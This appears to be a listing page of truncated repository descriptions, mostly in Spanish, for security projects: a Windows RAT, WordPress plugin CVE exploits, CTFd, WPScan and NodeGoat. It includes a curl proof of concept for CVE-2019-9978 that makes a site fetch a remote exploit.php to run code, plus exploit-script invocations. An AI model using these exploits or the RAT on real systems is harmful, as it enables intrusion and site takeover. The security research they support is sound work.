DuplexSpyCS

DuplexSpy DuplexSpyCS CS stands for CSharp is a open source RAT base on C/S Continuously update: Branch-Version2.1.0 Documents The online documents are here: DuplexSpy Fileless Execution DLL and shellcode injector and loader Remote Plugin Proxy Introduction DuplexSpy is a open-source Windows RAT...

CVE-2024-3105-PoC

CVE-2024-3105 PoC El plugin Woody code snippets – Insert Header Footer Code, AdSense Ads para WordPress es vulnerable a Ejecución Remota de Código en todas las versiones hasta, e incluyendo, la 2.5.0 a través del shortcode 'insertphp'. Esto se debe a que el plugin no restringe el uso de la...

CVE-2024-1208-and-CVE-2024-1210

CVE-2024-1208 y CVE-2024-1210 Exposición de Información Sensible a través de API en LearnDash. Visitantes no autenticados pueden navegar por los cuestionarios y las preguntas de los cuestionarios sin estar inscritos en un curso conectado. Vulnerabilidad: CVE-2024-1208 y CVE-2024-1210 Exposición d...

wordpress-cve-2024-10924-exploit

WordPress CVE-2024-10924 Exploit 📌 Resumen Este repositorio contiene un exploit de prueba de concepto PoC para CVE-2024-10924, una vulnerabilidad en el plugin de WordPress Really Simple SSL que permite omitir la autenticación de dos factores 2FA. Los atacantes pueden explotar esta falla para...

CTFd

¿Qué es CTFd? CTFd es un framework de Capture The Flag centrado en la facilidad de uso y la personalización. Incluye todo lo que necesitas para organizar un CTF y es fácil de personalizar con plugins y temas. Características Crea tus propios retos, categorías, pistas y flags desde la interfaz de...

CVE-2018-20555

CVE-2018-20555 El plugin de WordPress llamado Social Network Tabs, creado por la empresa Design Chemical, está filtrando dos veces el accesstoken, accesstokensecret, consumerkey y consumersecret de Twitter de sus usuarios, lo que conduce a una toma de control de su cuenta de Twitter. Esto es...

vanda-CVE-2025-3102

Vanda CVE-2025-3102 💣 Exploit con interfaz gráfica para la vulnerabilidad CVE-2025-3102 en el plugin WordPress SureTriggers = 1.0.78. 🚀 FUNCIONALIDADES Identificación de sitios vulnerables 🕵️‍♂️ Explotación automática con creación de usuario administrador 👨‍💻 Interfaz gráfica estilo cyberpunk 🌌...

android-check

Android Check Android 项目的静态代码分析插件。 用法 修改 /build.gradle 文件： buildscript repositories jcenter dependencies ... classpath 'com.noveogroup.android:check:1.2.5' ... 修改 //build.gradle 文件： apply plugin: 'com.noveogroup.android.check' 配置 推荐配置 推荐配置为默认配置（空）。 // 无需配置 严格模式 check abortOnError true checkstyle...

stavrobot

Stavrobot Stavrobot es un asistente de IA personal construido con el principio de "todo el acceso que un asistente de IA necesita, y nada más". Tiene todas las características agradables de un asistente de IA, pero se centra en el sandboxing, el aislamiento y los permisos mínimos. Es ligero y se...

CVE-2025-12721

g-FFL Cockpit 'returntrue', haciéndolo completamente accesible para cualquier visitante no autenticado. Ubicado en class-sync-endpoint.php: 88: registerrestroute'fflcockpit/v1', '/serverstatus', 89: 'methods' = 'GET', 90: 'callback' = CLASS, 'handleserverstatus', 91: 'permissioncallback' =...

SSCMS-PluginShell

Instalar VisualStudio 2. Importar el proyecto 3. Modificar el valor de IPAddress.Parse en el archivo Startup.cs using Microsoft.Extensions.DependencyInjection; using SSCMS.Advertisement.Abstractions; using SSCMS.Advertisement.Core; using SSCMS.Plugins; using System.Diagnostics; using System;...

CVE-2022-1597

CVE-2022-1597 El plugin, utilizado como complemento para los temas Discy y Himer, no sanitiza ni escapa un parámetro en su formulario de restablecimiento de contraseña, lo que permite realizar ataques de Cross-Site Scripting Reflejado. Plugins afectados: WPQA history.pushState'', '', '/' Plantill...

rz-ghidra

rz-ghidra 这是将 Ghidra 反编译器和 Sleigh 反汇编器集成到 Rizin 的项目。 它完全基于 Ghidra 的反编译器部分，该部分完全用 C++ 编写，因此完全不需要 Ghidra 本身，该插件可以独立构建。 该项目最初是为 radare2 开发的，在 r2con 2019 的 Cutter 演讲中展示：https://youtu.be/eHtMiezr7l8?t=950 用法 用法: pdg 原生 Ghidra 反编译器插件 | pdg 使用 Ghidra 反编译器反编译当前函数 | pdgd 转储调试 XML | pdgx 转储当前反编译函数的 XML |...

CVE-2023-37979

CVE-2023-37979 Vulnerabilidad de Cross-Site Scripting XSS Reflejado no autenticada en el plugin Ninja Forms Contact Form de Saturday Drive en versiones = 3.6.25. PoC y Comprobador, solo con fines educativos 'python3 exploit.py https://target.com'...

CVE-2019-9978

CVE-2019-9978 - RCE en el plugin Social Warfare de Wordpress RCE en el plugin Social Warfare de Wordpress sin necesidad de autenticación previa Prueba de concepto curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php Código vulnerable ...

NodeGoat

NodeGoat Being lightweight, fast, and scalable, Node.js is becoming a widely adopted platform for developing web applications. This project provides an environment to learn how OWASP Top 10 security risks apply to web applications developed using Node.js and how to effectively address them. Getti...

nox-framework

███╗ ██╗ ██████╗ ██╗ ██╗ ████╗ ██║██╔═══██╗╚██╗██╔╝ ██╔██╗ ██║██║ ██║ ╚███╔╝ ██║╚██╗██║██║ ██║ ██╔██╗ ██║ ╚████║╚██████╔╝██╔╝ ██╗ ╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ Marco de Inteligencia contra Amenazas Cibernéticas Marco OSINT para red teaming, análisis forense digital y análisis de exposición corporativ...

wpscan

WPScan Escáner de Seguridad de WordPress Base de datos de vulnerabilidades de WordPress de WPScan - Plugin de seguridad de WordPress INSTALACIÓN Prerrequisitos Opcional pero altamente recomendado: rbenv Ruby = 3.3 - Recomendado: última versión estable Curl = 7.72 - Recomendado: última versión...

doona

Doona - Network fuzzing tool .:: About ::. Doona is a fork of the Bruteforce Exploit Detector Tool BED. BED is a program which is designed to check daemons for potential buffer overflows, format string bugs etc. Doona is Australian for duvet. It adds a significant enough number of features/change...

CVE-2023-37756-CWE-521-lead-to-malicious-plugin-upload-in-the-i-doit-Pro-25-and-below

CVE-2023-37756 – Requisito de contraseña débil en admin-center conduce a la carga de un plugin malicioso en i-doit Pro 25 y anteriores i-doit Pro 25 y anteriores son vulnerables a una vulnerabilidad de requisito de contraseña débil en admin-center + la carga de un plugin malicioso conduce a una...